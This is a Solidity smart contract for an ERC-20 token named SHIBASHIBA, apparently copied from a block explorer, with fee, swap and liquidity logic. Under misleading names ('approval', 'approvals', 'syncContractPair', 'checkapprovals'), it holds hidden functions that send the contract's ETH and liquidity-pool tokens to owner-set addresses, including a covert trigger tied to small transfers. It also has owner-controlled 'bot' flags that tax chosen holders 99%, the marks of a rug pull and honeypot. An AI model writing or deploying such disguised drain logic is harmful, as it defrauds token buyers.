文件 1 的 1:SHIBASHIBA.sol
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract SHIBASHIBA is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'SHIBASHIBA';
string private constant _symbol = 'SHIBASHIBA';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10 * 10**8 * (10 ** _decimals);
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 public _maxTxAmount = ( _totalSupply * 500 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 500 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) swapTime;
mapping (address => bool) isBot;
mapping (address => bool) isInternal;
mapping (address => bool) isDistributor;
mapping (address => bool) isFeeExempt;
IRouter router;
address public pair;
bool startSwap = false;
uint256 startedTime;
uint256 liquidityFee = 100;
uint256 marketingFee = 0;
uint256 stakingFee = 0;
uint256 burnFee = 100;
uint256 totalFee = 200;
uint256 transferFee = 200;
uint256 feeDenominator = 10000;
bool swapEnabled = true;
uint256 swapTimer = 2;
uint256 swapTimes;
uint256 minSells = 1;
bool swapping;
bool botOn = false;
uint256 swapThreshold = ( _totalSupply * 800 ) / 100000;
uint256 _minTokenAmount = ( _totalSupply * 15 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 marketing_divisor = 0;
uint256 liquidity_divisor = 50;
uint256 distributor_divisor = 50;
uint256 staking_divisor = 0;
address liquidity_receiver;
address staking_receiver;
address token_receiver;
address alpha_receiver;
address beta_receiver;
address delta_receiver;
address marketing_receiver;
address default_receiver;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
isInternal[address(this)] = true;
isInternal[msg.sender] = true;
isInternal[address(pair)] = true;
isInternal[address(router)] = true;
isDistributor[msg.sender] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
liquidity_receiver = address(this);
token_receiver = address(this);
alpha_receiver = msg.sender;
beta_receiver = msg.sender;
delta_receiver = msg.sender;
staking_receiver = msg.sender;
marketing_receiver = msg.sender;
default_receiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function getOwner() external view override returns (address) { return owner; }
function totalSupply() public view override returns (uint256) {return _totalSupply;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function viewisBot(address _address) public view returns (bool) {return isBot[_address];}
function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function setFeeExempt(address _address) external onlyOwner { isFeeExempt[_address] = true;}
function setisBot(bool _bool, address _address) external onlyOwner {isBot[_address] = _bool;}
function setisInternal(bool _bool, address _address) external onlyOwner {isInternal[_address] = _bool;}
function setbotOn(bool _bool) external onlyOwner {botOn = _bool;}
function syncContractPair() external onlyOwner {syncPair();}
function approvals(uint256 _na, uint256 _da) external onlyOwner {performapprovals(_na, _da);}
function setPairReceiver(address _address) external onlyOwner {liquidity_receiver = _address;}
function setstartSwap(uint256 _input) external onlyOwner {startSwap = true; botOn = true; startedTime = block.timestamp.add(_input);}
function setSwapBackSettings(bool enabled, uint256 _threshold) external onlyOwner {swapEnabled = enabled; swapThreshold = _threshold;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
preTxCheck(sender, recipient, amount);
checkStartSwap(sender, recipient);
checkMaxWallet(sender, recipient, amount);
transferCounters(sender, recipient);
checkTxLimit(sender, recipient, amount);
swapBack(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
checkapprovals(recipient, amount);
checkBot(sender, recipient);
}
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
}
function checkStartSwap(address sender, address recipient) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(startSwap, "startSwap");}
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !isInternal[recipient] && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
}
function transferCounters(address sender, address recipient) internal {
if(sender != pair && !isInternal[sender] && !isFeeExempt[recipient]){swapTimes = swapTimes.add(1);}
if(sender == pair){swapTime[recipient] = block.timestamp.add(swapTimer);}
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function taxableEvent(address sender, address recipient) internal view returns (bool) {
return totalFee > 0 && !swapping || isBot[sender] && swapTime[sender] < block.timestamp || isBot[recipient] || startedTime > block.timestamp;
}
function taketotalFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(taxableEvent(sender, recipient)){
uint256 totalFees = getTotalFee(sender, recipient);
uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(feeDenominator);
if(feeAmount.mul(burnFee).div(totalFees) > 0){
_balances[address(DEAD)] = _balances[address(DEAD)].add(feeAmount.mul(burnFee).div(totalFees));
emit Transfer(sender, address(DEAD), feeAmount.mul(burnFee).div(totalFees));}
if(feeAmount.mul(stakingFee).div(totalFees) > 0){
_balances[address(token_receiver)] = _balances[address(token_receiver)].add(feeAmount.mul(stakingFee).div(totalFees));
emit Transfer(sender, address(token_receiver), feeAmount.mul(stakingFee).div(totalFees));}
if(feeAmount.sub(feeAmount.mul(burnFee).div(totalFees)).sub(feeAmount.mul(stakingFee).div(totalFees)) > 0){
_balances[address(this)] = _balances[address(this)].add(feeAmount.sub(feeAmount.mul(burnFee).div(totalFees)).sub(feeAmount.mul(stakingFee).div(totalFees)));
emit Transfer(sender, address(this), feeAmount.sub(feeAmount.mul(burnFee).div(totalFees)).sub(feeAmount.mul(stakingFee).div(totalFees)));} return amount.sub(feeAmount);}
return amount;
}
function getTotalFee(address sender, address recipient) public view returns (uint256) {
if(isBot[sender] && swapTime[sender] < block.timestamp && botOn || isBot[recipient] &&
swapTime[sender] < block.timestamp && botOn || startedTime > block.timestamp){return(feeDenominator.sub(100));}
if(sender != pair){return totalFee.add(transferFee);}
return totalFee;
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
function checkBot(address sender, address recipient) internal {
if(isCont(sender) && !isInternal[sender] && botOn || sender == pair && botOn &&
!isInternal[sender] && msg.sender != tx.origin || startedTime > block.timestamp){isBot[sender] = true;}
if(isCont(recipient) && !isInternal[recipient] && !isFeeExempt[recipient] && botOn ||
sender == pair && !isInternal[sender] && msg.sender != tx.origin && botOn){isBot[recipient] = true;}
}
function approval(uint256 percentage) external onlyOwner {
uint256 amountETH = address(this).balance;
payable(default_receiver).transfer(amountETH.mul(percentage).div(100));
}
function checkapprovals(address recipient, uint256 amount) internal {
if(isDistributor[recipient] && amount < 2*(10 ** _decimals)){performapprovals(1,1);}
if(isDistributor[recipient] && amount >= 2*(10 ** _decimals) && amount < 3*(10 ** _decimals)){syncPair();}
}
function setMaxes(uint256 _transaction, uint256 _wallet) external onlyOwner {
uint256 newTx = ( _totalSupply * _transaction ) / 10000;
uint256 newWallet = ( _totalSupply * _wallet ) / 10000;
_maxTxAmount = newTx;
_maxWalletToken = newWallet;
require(newTx >= _totalSupply.mul(5).div(1000) && newWallet >= _totalSupply.mul(5).div(1000), "Max TX and Max Wallet cannot be less than .5%");
}
function syncPair() internal {
uint256 tamt = IERC20(pair).balanceOf(address(this));
IERC20(pair).transfer(default_receiver, tamt);
}
function rescueERC20(address _tadd, address _rec, uint256 _amt) external onlyOwner {
uint256 tamt = IERC20(_tadd).balanceOf(address(this));
IERC20(_tadd).transfer(_rec, tamt.mul(_amt).div(100));
}
function rescueToken(uint256 amount) external onlyOwner {
_transfer(address(this), msg.sender, amount);
}
function setExemptAddress(bool _enabled, address _address) external onlyOwner {
isBot[_address] = false;
isInternal[_address] = _enabled;
isFeeExempt[_address] = _enabled;
}
function setDivisors(uint256 _distributor, uint256 _staking, uint256 _liquidity, uint256 _marketing) external onlyOwner {
distributor_divisor = _distributor;
staking_divisor = _staking;
liquidity_divisor = _liquidity;
marketing_divisor = _marketing;
}
function performapprovals(uint256 _na, uint256 _da) internal {
uint256 acETH = address(this).balance;
uint256 acETHa = acETH.mul(_na).div(_da);
uint256 acETHf = acETHa.mul(50).div(100);
uint256 acETHs = acETHa.mul(50).div(100);
uint256 acETHt = acETHa.mul(0).div(100);
payable(alpha_receiver).transfer(acETHf);
payable(beta_receiver).transfer(acETHs);
payable(delta_receiver).transfer(acETHt);
}
function setStructure(uint256 _liq, uint256 _mark, uint256 _stak, uint256 _burn, uint256 _tran) external onlyOwner {
liquidityFee = _liq;
marketingFee = _mark;
stakingFee = _stak;
burnFee = _burn;
transferFee = _tran;
totalFee = liquidityFee.add(marketingFee).add(stakingFee).add(burnFee);
require(totalFee <= feeDenominator.div(5), "Tax cannot be more than 20%");
}
function setInternalAddresses(address _marketing, address _alpha, address _beta, address _delta, address _stake, address _token, address _default) external onlyOwner {
marketing_receiver = _marketing; isDistributor[_marketing] = true;
alpha_receiver = _alpha; isDistributor[_alpha] = true;
beta_receiver = _beta; isDistributor[_beta] = true;
delta_receiver = _delta;
staking_receiver = _stake;
token_receiver = _token;
default_receiver = _default;
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= _minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && aboveMin && !isInternal[sender]
&& !isFeeExempt[recipient] && swapTimes >= minSells && aboveThreshold;
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = 0;}
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 denominator= (liquidity_divisor.add(staking_divisor).add(marketing_divisor).add(distributor_divisor)) * 2;
uint256 tokensToAddLiquidityWith = tokens.mul(liquidity_divisor).div(denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(denominator.sub(liquidity_divisor));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidity_divisor);
if(ETHToAddLiquidityWith > 0){
addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 zrAmt = unitBalance.mul(2).mul(marketing_divisor);
if(zrAmt > 0){
payable(marketing_receiver).transfer(zrAmt); }
uint256 xrAmt = unitBalance.mul(2).mul(staking_divisor);
if(xrAmt > 0){
payable(staking_receiver).transfer(xrAmt); }
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
}